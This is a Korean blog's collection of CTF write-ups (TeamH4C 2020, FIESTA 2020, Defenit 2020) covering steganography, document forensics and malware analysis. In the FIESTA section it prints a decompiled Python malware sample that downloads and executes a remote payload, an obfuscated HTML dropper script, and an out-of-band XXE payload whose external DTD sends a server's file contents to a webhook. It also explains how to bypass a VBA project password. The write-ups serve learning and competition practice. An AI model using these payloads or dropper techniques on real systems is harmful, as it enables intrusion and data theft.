반응형
반응형
반응형

Find the flag

 

주어진 파일 뒷 부분에 PK 시그니쳐가 붙어있다.

When you open a given png file with HxD, you can see PK signature at the end.

 

zip으로 만들어서 열면 플래그가 나온다.

Rename the file .png to .zip. Then, you can get a flag!

 

 

 

simple_forensic

 

암호가 걸린 zip 파일이 주어진다.

Given zip file has locked.

 

 

브포 돌려서 비번을 찾을 수 있다.

You need to brute-force attack to find password to unlock zip.

The password is 1337.

 

그러면 압축파일(file.zip) 하나랑 txt파일을 하나 열 수 있다.

Then, you can get a file.zip and a txt file.

뭔가 했는데, 모스부호 였다.

In txt file, you can see only K and H. I guessed this is morse code.

 

H -> - , K -> . 으로 하고 돌리면 되는데,

 

페이크 플래그가 나온다. ㅋㅋ;;

However, it was fake flag. :p

 

 

버리고 file.zip을 보자. 암호가 걸려있는 것 처럼 보이지만, 사실은 안 걸려있다.

Send txt file to TRASH CAN. And look at the file.zip

It seems like locked file, but it isn't. You don't need to find a password.

 

비트 조작해주면 된다.

Just change some bits of zip file.

mandu-mandu.tistory.com/143 참고하자

 

SuNiNaTaS [FORENSIC 28번] 풀이

SuNiNaTaS의 28번문제 풀이입니다. [FORENSIC] 암호가 걸린 압축파일이 있다. 근데 문제내용을 보았을 때 "brute force가 필요없다","암호가 있기나 한건가!"를 보면 암호는 없는 것 같다. 근데 비밀번호를

mandu-mandu.tistory.com

 

(처음에 브포를 돌렸기 때문에 이런 풀이가 나올 것 같았음.)

 

 

hxd로 까보면,

이렇게 나오는데, zero-width space steganography가 적용된 것이다.

e2808b, e2808c, e2808d, e2808f

 

zero-width space steganography

 

 

github.com/offdev/zwsp-steg-js

 

offdev/zwsp-steg-js

Zero-Width Space Steganography, encodes/decodes hidden messages as non printable/readable characters. - offdev/zwsp-steg-js

github.com

를 이용하여 플래그를 구할 수 있었다.

I can get a flag using zwsp-steg-js.

 

 

 

 

 

 

 

 

Find Hangul

 

아무런 설명 없이 VM.E01을 던져준다.

No description for this task.... :(

 

you can open the VM.E01 using FTK Imager.

 

유저폴더 살펴보고 휴지통을 살펴보았다.

I looked at the user folder and the Recycle.Bin.

 

뭔가 많다.
페이크파일들로 가득하다;;

 

 

많고많은 폴더와 파일 중에서 훈민정음.docx파일을 찾을 수 있다.

You can find Hunminjeongeum.docx file in many fake files.

 

추출해서 열어보자.

Export and open it.

 

 

하얀글씨로 안 보이도록 하거나, 스크롤을 많이 내리도록 되어 있어서, 색상 맞춰주고 정렬해주면 한 번에 내용을 볼 수 있다.

근데 저기있는 플래그도 페이크플래그다. ㅎㅎ;

But there's no flag. h4c(hangul_choigo) is not a flag. 

 

docx 파일을 zip으로 만들고 열어보면 flag.png를 찾을 수 있다.

Rename .docx to .zip and then open it, you can find flag.png

 

청크 이름의 대소문자를 바꿔놓았다. 다 수정해주면 정상적으로 이미지를 확인할 수 있다.

Recover chunk names.

png -> PNG

Srgb -> sRGB 등.. ect...

 

GNP

 

 

ff d9 jpg 푸터 시그니쳐 뒤에 png 파일이 뒤집어 있다.

It's reversed!!

 

잘라내서 뒤집고

< flag.png xxd -p -c1 | tac | xxd -p -r > file.png

 

stegsolve.jar로 보면 문자열이 나온다.

 

 

Affine Cipher 돌리면 플래그가 나온다. (GUESSING!!!!)

 

www.dcode.fr/affine-cipher (AUTOMATIC BRUTE FORCE DECRYPTION)

 

 

 

 

Dark light (not full wirte-up)

 

 

파일 여러개가 붙어있다.

foremost를 사용해서 분리해주었다.

 

 

 

 

qr code 9개가 나오는데 값을 보면,

 

sorry_this_is_not_a_flag

do_you_want_a_flag?

do_you_know_Korean_proverb?

어둡다.

h4c(f4c3_f_a_k_e)

 

뭘까?

hmm hmmmmmmmmmmmmmmm

 

 

 

 

 

 

message from space (not full wirte-up)

 

wav가 주어지는데, sstv 문제다.

 

github.com/MossFrog/SSTV-Decoder/blob/master/SSTV-Complete.py

 

MossFrog/SSTV-Decoder

An SSTV decoder created using python. The input files consists of 8 second frequency modulated transmissions. - MossFrog/SSTV-Decoder

github.com

 

 

디코딩 해주면 이런 이미지가 나온다.

Password : HangulDay

 

어디다 써먹는 걸까

Where can i use it... :(

 

 

14461009

 

한글 단순 치환 암호이다.

Hangul simple substitution cipher.

 

1446년 10월 09일, 'ㆍ','ㅛ','ㅕ' 이 부분을 보면 한글 창제와 관련이 있는 내용으로 보인다.

 

치환 코드는 이 것을 이용했다.

j0n9hyun.xyz/writeups/crypto/Korean-substituation-cipher/

 

한글 단일 치환 암호

한글 단일 치환 암호 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374# coding: utf-8def divide_char(char): num = ord

j0n9hyun.xyz

 

 

필,켜,녈뇩 -> 천,지,인을   부터 시작하면 된다.

 

 

어느 정도 게싱으로 때려맞춰보면, 마지막에 문제를 확인할 수 있다.

 

 

해당 문제에 대한 답을 주어진 서버로 넘겨주면 플래그를 받을 수 있다.

 

반응형

'CTF Write Up' 카테고리의 다른 글

2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
반응형

금융보안원 금융보안 위협분석 대회

TEAM : N0Named

 

fiesta.fsec.or.kr/

 

FIESTA 2020

금융보안 위협분석 대회 FIESTA 2020 Financial Institutes' Event on Security Threat Analysis 최 종 순 위 FIESTA2020 시상식 일정 일 시 : 2020. 11. 2. (월) 14:00 ~ 15:00 장 소 : 금융보안원 교육센터 (서울시 영등포구 의

fiesta.fsec.or.kr

 

Stepin-1

수상한 문서 파일이 전송되었다 ! 해당 문서 파일을 분석하여라 !
대상 환경 : Windows 10 Education, Build 18362.1016

세부문제1

악성 exe가 생성되는 전체 경로를 적으시오. (파일 이름, 확장자 포함)
예시 ) FIESTA2020{C:\Ex\Path\filename.exe}

 

doc파일이 주어진다.

 

매크로를 확인하기 위해 편집사용 클릭 후 보기 > 매크로 > 매크로 보기 에서 편집을 눌렀는데 에러가 났다.

 

 

컨텐츠 사용을 클릭하였더니 런타임 오류가 나고, 디버그를 클릭하였더니 Project 암호 입력 창이 나왔다.

 

 

 

이 인증 과정을 우회해주기 위해서 .doc 파일을 hex 에디터로 연 뒤, DPB값을 찾아준다.

이 DPB를 DPX로 바꿔주고 .doc를 열어준다.

 

 

 

다시 매크로> 매크로 보기 > 편집 으로 들어가니 잘 들어가졌다.

 

 

 

 

디버깅을 통해서 악성 exe가 생성되는 전체 경로를 찾을 수 있다.

 

 

 

v3rypog

김다원 연구원은 최근 수상한 메일을 수신한 적이 있어 본인이 사용하던 PC를 확인한 결과, 의심스러운 파일을 발견했다.
의심 파일을 분석하는 과정에서 pyc 파일 까지는 획득했으나, 이후 분석을 못하고 있는 상황이다.
분석을 통해 공격을 막을 수 있는 FLAG 를 획득하시오.

 

v3rypog-1

C&C 통신하는 서버 전체 주소값
입력 형식 : http:// 를 포함한 전체 주소값

v3rypog.pyc파일이 주어진다.

 

 

해당 파일을 hex로만 까봐도 주소값을 확인할 수 있다.

 

 

...

 

 

정석대로 pyc파일을 decompile해주자.

 

 

일단 pyc의 헤더값은 0x42 0x0d 이다. 0x0d42 = 3394,

 

github.com/google/pytype/blob/master/pytype/pyc/magic.py  

 

google/pytype

A static type analyzer for Python code. Contribute to google/pytype development by creating an account on GitHub.

github.com

즉 python3.7 버전에서 작성되었다는 것이다.

 

pyc 디컴파일에는 uncompyle6를 사용하면 된다. python3.7을 지원하는 uncompyle6 최신버전을 설치하고

 

pypi.org/project/uncompyle6/

 

uncompyle6

Python cross-version byte-code decompiler

pypi.org

 

 

디컴파일 해주면,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ uncompyle6 v3rypog.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.6.9 (default, Jul 17 2020, 12:50:27) 
# [GCC 8.4.0]
# Embedded file name: /private/tmp/v3rypog.py
# Compiled at: 2020-09-02 11:26:20
# Size of source mod 2**32: 2002 bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from threading import Timer
import getpass, hashlib, os, datetime, time, base64, json, marshal, types, string, sys, requests
big2 = '\n __      ______  _______     _______   ____   _____ \n \\ \\    / /___ \\|  __ \\ \\   / /  __ \\ / __ \\ / ____|\n  \\ \\  / /  __) | |__) \\ \\_/ /| |__) | |  | | |  __ \n   \\ \\/ /  |__ <|  _  / \\   / |  ___/| |  | | | |_ |\n    \\  /   ___) | | \\ \\  | |  | |    | |__| | |__| |\n     \\/   |____/|_|  \\_\\ |_|  |_|     \\____/ \\_____|\n'
PAYLAOD = requests.get('http://54.180.11.70/e.php').text
EXPLOIT = '{"iv": "XRUNPPQYG4Y5n53MZJo2AQ==", "ct": "' + PAYLAOD + '" }'
timestamp = '1585094400'
 
def aes_enc(data, key):
    cipher = AES.new(key, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data, AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    result = json.dumps({'iv':iv,  'ct':ct})
    return result
 
 
def aes_dec(enc_result, key):
    b64 = json.loads(enc_result)
    iv = base64.b64decode(b64['iv'])
    ct = base64.b64decode(b64['ct'])
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plain = unpad(cipher.decrypt(ct), AES.block_size)
    return plain
 
 
def key_num(tstamp):
    tm_stmp = int(tstamp)
    tsmp = datetime.datetime.fromtimestamp(tm_stmp).strftime('%Y%m%d')
    dt = int(tsmp[5:7])
    dt += int(tsmp[2]) * int(int(tsmp[0:2]) / int(tsmp[7])) * (int(tsmp[6]) + int(tsmp[7]))
    dt ^= int(tsmp[6:8])
    dt = dt + 0
    return dt
 
 
if __name__ == '__main__':
    if getpass.getuser()[0== 'd' and getpass.getuser()[2== 'k':
        user_key = getpass.getuser()
    else:
        exit()
    i = key_num(timestamp)
    x = bytes((i ^ j ^ x for j, x in enumerate((timestamp + '_' + user_key).encode('ascii')[:16])))
    dec = aes_dec(EXPLOIT, x)
    exploit_code = marshal.loads(dec)
    exec_exploit = types.FunctionType(exploit_code, globals(), 'payload')
    exec_exploit()
# okay decompiling v3rypog.pyc
 
cs

소스코드를 확인할 수 있다.

 

v3rypog2,3

 

그러나 위 코드로 브포를 돌려보면 의미있는 값이 나오지 않는다.

다시 pyc코드를 살펴보면 코드가 평문으로 들어가있는게 있다. 해당 부분 주석처리하고 다시 코드 돌려주면 의미있는 값을 구할 수 있다.

 

 

 

SharperGram

금융보안원에 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다. 
올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지않아 자신의 메일 계정 정보등이 유출된 사실을 알게되었다. 
A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.

SharperGram-1

메일 최초 발신자 IP, 도메인과 해당 도메인의 최초 등록자 정보를 조사하시오. (발신IP_발신도메인_도메인등록자이름(공백없이)_도메인등록국가코드) e.g.) 0.0.0.0_domain.tld_JohnSmith_KR

 

eml 파일이 주어진다. Outlook으로 열 수 있는데 발신자는 ticket-mailer@discountbok.com 이다.

 

-도메인 : discountbok.com

 

 

eml파일을 HxD로 열어서 해당 도메인을 검색하면 ip주소를 찾을 수 있다.

 

 

- ip주소 : 184.168.221.37

 

 

그리고 도메인의 최초 등록자 이름과 국가를 구하기 위해서 아래 사이트에 도메인을 검색해보았다.

 

 

whois-history.whoisxmlapi.com/lookup-report/x923eoolk7

 

 

discountbok.com | WHOIS History Lookup | WhoisXML API

discountbok.com lookup report. Uncover domain name history using WHOIS History Lookup and access 10+ years of WHOIS data with all recorded information on past owners and registrars.

whois-history.whoisxmlapi.com

2015년 7월 기록에서 이름과 국가를 찾을 수 있다.

 

flag : 184.168.221.37_discountbok.com_LannyTyndall_CN

 

SharperGram-2

추가 악성코드 다운로드 주소 및 저장되는 위치를 조사하시오.
저장되는 위치는 사용자마다 다르므로, 사용자명 이후의 경로부터 서술 (악성코드 유포지_저장경로)
e.g.) http://0.0.0.0/uri/dedf?a_\Dir\Dir2\filename.ext

 

 

해당 메일 첨부파일에는 i-Ticket.xls 엑셀 파일과 해당 엑셀 파일의 패스워드가 적힌 이미지 파일이 있다.

 

xls파일을 다운받아 실행한다. 패스워드를 입력해주고, 악성코드가 실행될 수 있도록, 편집 사용 -> 컨텐츠 사용을 차례로 눌러준다.

 

 

이후 분석이 간편하도록 파일 잠금을 해제한다.

파일 > 정보 > 통합 문서 보호 > 암호 설정 에서 암호 전부 지우고 확인

 

매크로를 확인하기 위해 보기> 매크로 > 매크로 보기 로 이동하였으나, 보이는 매크로는 없었다.

 

 

이미지를 클릭해보면 좌측상단에 러시아어3가 보인다. 

 

asec.ahnlab.com/1232

 

[주의] 국내 기업을 대상으로 대량 유포되는 엑셀 파일 분석 - Ammyy 원격제어 백도어와 Clop 랜섬웨

최근 국내에서 가장 이슈가 되는 타겟형 공격은 기업을 대상으로 유포되고 있는 Ammyy 원격제어 백도어와 이를 통해 설치되는 Clop 랜섬웨어이다. 백도어 파일은 온라인에 공개되어�

asec.ahnlab.com

위 내용과 유사하다.

 

최하단 Sheet1을 우클릭하여 코드보기를 클릭하면 저장된 매크로 코드를 확인할 수 있다.

 

코드를 분석해보면, 추가 악성코드 파일을 다운받아오는 서버 주소와, 다운로드 경로를 확인할 수 있다.

Application.StartupPath 는 디버깅을 통해서 찾을 수 있었다.

 

 

flag : http://54.180.66.177/xe_\AppData\Roaming\Microsoft\Excel\XLSTART\nc.exe

 

SharperGram-3

악성코드가 C2와 통신할 때 사용하는 토큰과 채널, 그리고 암호화 키값을 조사하시오.
(토큰값_채널값_암호화키값)
e.g.) token_channel_key

 

이제 위에서 다운받은 nc.exe를 분석하는 단계이다.

 

nc.exe를 실행하게 되면 유저 폴더에 .txt 파일이 생성되며 유저가 입력한 키 값을 저장하고 .fiesta 확장자로 바뀌며 암호화 되는 과정을 반복하는 것을 확인할 수 있다.

 

 

 

 

nc.exe는 ConfuserEx로 패킹이 되어 있다. 

ConfuserEx 언패킹 도구로 nc.exe를 언패킹 해주면 

 

 

이렇게 분석할 수 있는 상태가 된다.

 

.NET으로 작성되었으므로 dnSpy를 사용하여 디버깅 해주도록 한다.

 

 

리퀘스트를 날리는 부분인데, 이곳에 bp를 걸어서 url값과 password 값을 알아내면 된다.

 

텔레그램 봇 url이 나오는데, bot: 이후가 봇의 토큰값이다.

 

token : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE

채널 : 483139644

키 : F13stA-e0e0-k3y

 

flag : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE_483139644_F13stA-e0e0-k3y

 

 

 

 

 

PowerShellcode

A사의 침해대응 담당자인 김과장은 다수의 사내 PC에서 부팅시 업데이트 알림이 뜬다는 신고를 받고 조사에 착수한 결과, 수상한 파워쉘 실행 로그를 확인했다. 발견된 파워쉘 스크립트를 분석하시오.

PowerShellcode-1

악성 스크립트는 특정 타겟을 대상으로 동작한다. 타겟을 분석하여 첫번째 플래그를 획득하시오. (타겟도메인_타겟국가_동작시점, ex: test.com_japan_20201231)

 

.ps1으로 된 파워쉘 코드가 주어진다.

 

난독화가 되어 있다.

 

잘 복호화하다보면 ps코드를 외부에서 하나 더 다운받아온다.

그 코드를 다시 복호화해보면 의미있는 값을 찾을 수 있다. 

 

flag : secuholic.com_korea_20200707

 

PowerShellcode-2

악성 스크립트는 최초 감염시 C2서버에 전송할 수 있는 명령어 목록을 받아온다. 명령어 목록을 분석하여, 두번째 플래그를 획득하시오.

 

코드 분석해보면 또 코드 외부에서 받아서 실행하는 코드가 있다.

 

코드 복호화 해보면서 실행흐름을 따라가 보면,

c2서버와 통신하는 루틴이 나온다.

 

apitester.com/

 

API Tester

Note that by creating a share link, you will be making this test configuration accessible to anyone with the link. Please do not share sensitive information in this manner.

apitester.com

 

받아온 명령어는 : infect, getmsg, getflag 이고

사용한 명령어는 : IRIMFxIi, GwceHyIP 이다.

 

코드 돌려보니 맞았다.

 

그래서 getflag를 위 루틴으로 인코딩 후 리퀘

 

 

파워쉘 코드를 얻을 수 있는데, 그대로 파워쉘에 입력하면, MsgBox 형태로 flag가 출력된다.

PowerShellcode-3

 

C2서버에서 data에 전달되는 xml값을 파싱한다. 여기에 취약점이 있고, xxe를 시도해 보았다.

 

payload : 

1
2
3
4
5
6
7
8
command=IRIMFxIi&sec=fiesta2020&data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://255.255.255.255/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
cs

(255.255.255.255에는 개인 서버 주소)

 

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

 

이렇게 하면 index.php의 소스코드를 릭할 수 있다.

 

 

 

index.php에서 ./_readme_only_admin.php에 플래그가 있는 것을 알려준다.

 

 

_readme_only_admin.php의 소스코드를 릭해보면:

1
2
3
4
5
6
7
8
9
10
<?php
 
$flags = shell_exec('flags2');
 
if ($_SERVER['REMOTE_ADDR']!='127.0.0.1') {
    echo "you are not admin!!";
else {
    echo $flags;
}
?>
cs

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "http://127.0.0.1/_readme_only_admin.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

flag 값을 구할 수 있었다.

 

(응답서버로 값이 넘어 온 것은 아니고, c2서버 response에서 오류메세지에 플래그가 같이 딸려 나왔다.)

 

 

 

 

 

PayDay

금융회사 임직원 A씨는 여느 달과 같이 카드 이용 대금명세서 메일을 수신하였고 결제금액 및 상세 이용내역을 확인하기 위해 첨부문서(html)를 열람하였다. 보안 프로그램을 설치하고 생년월일을 입력하려는 순간 화면이 잠기고 키보드가 먹통이 되어 PC를 사용할 수 없게 되었다. 이를 해제하기 위해서는 Flag값을 입력해야 한다는 메시지박스가 생성되었다.

A씨는 즉시 정보보호부에 피해 사실을 신고하였다. 정보보호부 내의 CERT 팀은 추가 피해를 방지하고 업무연속성을 유지하기 위해 분석 작업을 시작하였다.

PayDay-2

암호화된 쉘코드를 실행하기 위해 C2 서버에서 수신한 문자열을 일련의 루틴을 거친 후 AES 복호화에 사용하는데, 이 때 사용되는 키값은? (0x 제외하고 Hex값 형태로 입력)

 

 

html 파일이 하나 주어진다.

 

코드를 정렬해주었다. (2번 문제를 푸는데에 상단 코드의 내용은 필요 없어서 제외했다.)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function a() {
    try {
        var _0x34a867 = document['getElementById']('smime_body')['value'];
        var _0x59abc8 = Decode(_0x34a867);
        var _0x5683a6 = new Blob([_0x59abc8], {
            'type''application/octet-stream'
        });
        var _0x340994 = saveAs(_0x5683a6, '_Secure.msi');
        if (_0x340994 == ![]) {}
    } catch (_0x463d54) {}
}
 
function b() {
    try {
        var f = new ActiveXObject("Scripting.FileSystemObject");
        var fn = f.GetSpecialFolder(1+ "\\WindowsPowerShell\\v1.0\\powershell.exe";
        var a = "BWlucR0Le2AaYz44KQ==";
        var s = f.GetSpecialFolder(2+ clue(a);
        if (f.FileExists(fn)) {
            f.CopyFile(fn, s);
            return true;
        } else {
            return false;
        }
    } catch (e) {
        return false
    }
}
 
function c() {
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var a = "BTYJZG98fGFhCGdhaQgIeG11D2x0DHNtYWALEW5/fBFreHsWbgg3";
    var b = "BTYJE25+fxBhe2cTGnR4eG0OC2B0dH4WamAIYxt0C2IcDH1kYH03";
    var c = "BTYIbB8IemIcf2dmbAxyeG0Lf2x0D31hamAMYm90fRMbeHMRa3o3";
    var d = "BTYJZR99C2QffGdhb3V9eG16DG10DAtlYGAPF2F/cmAddHgUaQ83";
    var e = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3";
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(a))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(a));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(b))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(b));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(c))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(c));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(d))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(d));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(e))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(e));
    }
}
 
function d() {
    var a = "BWlucR0Le2AaYz44KQ==";
    var b = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3CX1pbhEffH8WdygyMA==";
    var c = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3VxAy8idAIoPzwuPnUKNDkhPCBkGzw5ZAI8Lwk5MCgkIXBjDjouIyY6OCkMPDUoYnIxOT4lY2JlYGtjfWx3e3x7YXtleigbBWJrCDkQYSt7FAsGAC0dJz45MQ8TJxgMMmUfdT0PHB16HBA0DRsNGAUYFQgMIy8rEmIJFBAEaD0QI2ksfmJvLH8FMSsEH2h0JCJoFBtiDiAHJyh7DjcSFDoYERc6Mg57fQw0PmV6KWMvLTxqZnV+aB4QFB1vCSIOehNpDHsTaGB+Y2F6Z2FuC3J4GAx6bHQICG1rdX8RYH8LZRswFisdC3gUb3UJezw1L3Jw";
    var d = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3V8GQ8YCWgWciJqCWUffQtkH3xnYW91fXhtegxtdAwLZWBgDxdhf3JgHXR4FGkPbSh+ETQRH38LY2EOZDAhKA==";
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var s = new ActiveXObject("WScript.shell");
    var st = f.GetSpecialFolder(2+ clue(a);
    var sc = f.GetSpecialFolder(2+ clue(b);
    if (f.FileExists(st)) {
        f.CopyFile(st, sc);
    }
    var c = sc + clue(c);
    var d = sc + clue(d);
    s.run(c, 0true);
    s.run(d, 0true);
    f.DeleteFile(sc);
}
 
function get_version_of_IE() {
    var word;
    var version = "N/A";
    var agent = navigator.userAgent.toLowerCase();
    var name = navigator.appName;
    if (name == "Microsoft Internet Explorer") word = "msie ";
    else {
        if (agent.search("trident"> -1) word = "trident/.*rv:";
        else if (agent.search("edge/"> -1) word = "edge/";
    }
    var reg = new RegExp(word + "([0-9]{1,})(\\.{0,}[0-9]{0,1})");
    if (reg.exec(agent) != null) version = RegExp.$1 + RegExp.$2;
    return version;
}
 
window.onload = function() {
    var isSuccess;
    var verString = get_version_of_IE();
    var verNumber = parseInt(get_version_of_IE(), 10);
    var savePath;
    if (verString == "N/A") {
        alert("지원하지 않는 형식의 브라우져 입니다.\n 지원 가능한 브라우져 : Internet Explorer");
    } else {
        alert('정보유출 방지를 위해 하단에 생성되는 보안 프로그램을 설치 후에 입력해주시기 바랍니다.');
        a();
        c();
        b();
        d();
    }
}
 
function clue(a) {
    var b = "NTk0ZDRhNTU=";
    c = atob(b);
    var c = c.toString();
    var d = '';
    for (var i = 0; i < c.length; i += 2) d += String.fromCharCode(parseInt(c.substr(i, 2), 16));
    e = atob(a);
    f = '';
    for (i = 0; i < e.length; i++) {
        f += String.fromCharCode(e[i].charCodeAt(0).toString(10) ^ d.charCodeAt(i % d.length).toString(10));
    }
    return f;
}
 
function bC() {
    a();
}
cs

 

a, c, b, d 함수 순서대로 실행하는데, d 함수에 있는 변수들의 인코딩을 풀어보면, 

 

 

 

이렇게 나오게 되고, c변수를 보면, p.exe파일을 다운로드 받아오는 것을 알 수 있다.

 

 

해당 파일을 다운로드 받아 분석을 시작한다.

 

 

 

올리디버거로 열어서 문자열들을 확인해 보면, AES, CBC, url 등이 보인다.

 

이 프로그램에서 aes 복호화가 일어남을 알 수 있다.

 

 

 

ida에서 메인함수 마지막 부분을 보면, for문이 16번 돌고 마지막에 sub_402361 함수 하나를 실행하는 것을 볼 수 있다.

 

aes 키는 16바이트 임으로 위 for 루틴이 키 생성 과정이고 마지막 함수가 복호화를 하는 함수라고 유추해 볼 수 있다.

 

 

해당 함수를 콜하는 주소인 5bc4에 bp를 걸고 디버깅을 했다.

 

 

그리고 해당 함수에 인자로 넘어가는 값에서 키값을 확인할 수 있었다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
CCE2020 Quals Write-up  (0) 2020.09.26
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
반응형

2020 Defenit CTF Write-up 6/5 09:00 ~ 6/7 09:00 (UTC, 48h)

 

 

 

Forensic

Baby Steganography

I heared you can find hide data in Audio Sub Bit. Do you want to look for it?

 

 

.wav 파일이 주어진다. 문제 지문을 보면 Audio Sub Bit에 데이터를 숨긴다고 한다.

 

Audio Sub Bit...

 

Sub Bit...

 

SB...

 

LSB?

 

LSB가 아닐까 생각을 해보고서 바로 구글링을 했다.

 

 

 

https://medium.com/@sumit.arora/audio-steganography-the-art-of-hiding-secrets-within-earshot-part-2-of-2-c76b1be719b3

 

Audio Steganography : The art of hiding secrets within earshot (part 2 of 2)

In this article we take a look at methods and tools along with code walk-through for performing Audio Steganography.

medium.com

Audio Steganography : LSB

 

 

포스트를 내리다보면 Python으로 작성된 Decode 코드가 있다. 바로 긁어다가 실행해 보았다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Use wave package (native to Python) for reading the received audio file
import wave
song = wave.open("problem", mode='rb')
# Convert audio to byte array
frame_bytes = bytearray(list(song.readframes(song.getnframes())))
 
# Extract the LSB of each byte
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
# Convert byte array back to string
string = "".join(chr(int("".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))
# Cut off at the filler characters
decoded = string.split("###")[0]
 
# Print the extracted text
print("Sucessfully decoded: "+decoded)
song.close()
 
cs

 

Sucessfully decoded: Defenit{Y0u_knOw_tH3_@uD10_5t39@No9rAphy?!}

 

결과는 대성공.

 

 

 

 


Misc

QR Generator

Escape from QR devil!

 

nc 연결을 하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Let's START!
 
< QR >
1 1 1 1 1 1 1 0 1 1 0 0 0 1 1 0 1 1 1 1 1 0 1 1 1 1 1 1 1 
1 0 0 0 0 0 1 0 1 0 1 1 1 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 
1 0 1 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 0 1 1 0 1 0 1 1 1 0 1 
1 0 1 1 1 0 1 0 1 1 0 0 1 1 0 1 1 0 1 0 1 0 1 0 1 1 1 0 1 
1 0 1 1 1 0 1 0 1 0 1 0 1 0 0 1 0 1 0 0 1 0 1 0 1 1 1 0 1 
1 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 1 
1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1 
0 0 0 0 0 0 0 0 1 1 1 0 1 1 1 0 0 0 1 1 1 0 0 0 0 0 0 0 0 
0 1 0 1 0 1 1 0 1 0 0 1 0 1 1 0 0 0 1 1 0 1 1 0 1 1 1 1 1 
0 1 1 1 1 1 0 1 1 0 1 1 1 1 0 0 0 0 1 1 0 1 0 0 1 1 0 1 1 
0 1 0 1 0 1 1 1 1 0 1 1 0 0 1 1 1 1 0 1 1 0 0 0 0 0 0 0 1 
1 0 1 0 1 0 0 1 1 1 0 0 1 0 0 0 0 1 0 0 0 0 0 1 1 0 0 0 1 
0 0 0 0 1 0 1 1 1 0 0 1 0 0 0 0 0 0 1 0 0 0 1 0 1 0 1 0 1 
1 1 0 1 0 1 0 0 1 0 1 0 0 0 0 0 1 1 1 0 1 0 1 0 1 0 1 0 1 
0 1 1 0 1 0 1 1 1 1 1 1 1 0 1 0 1 1 0 0 1 0 0 1 0 1 0 1 1 
0 1 1 1 1 1 0 1 1 1 1 0 1 1 1 0 1 1 1 1 1 0 1 0 1 0 1 0 1 
1 0 0 1 1 0 1 1 1 1 1 0 0 1 1 0 0 1 0 1 1 0 0 1 1 1 0 0 1 
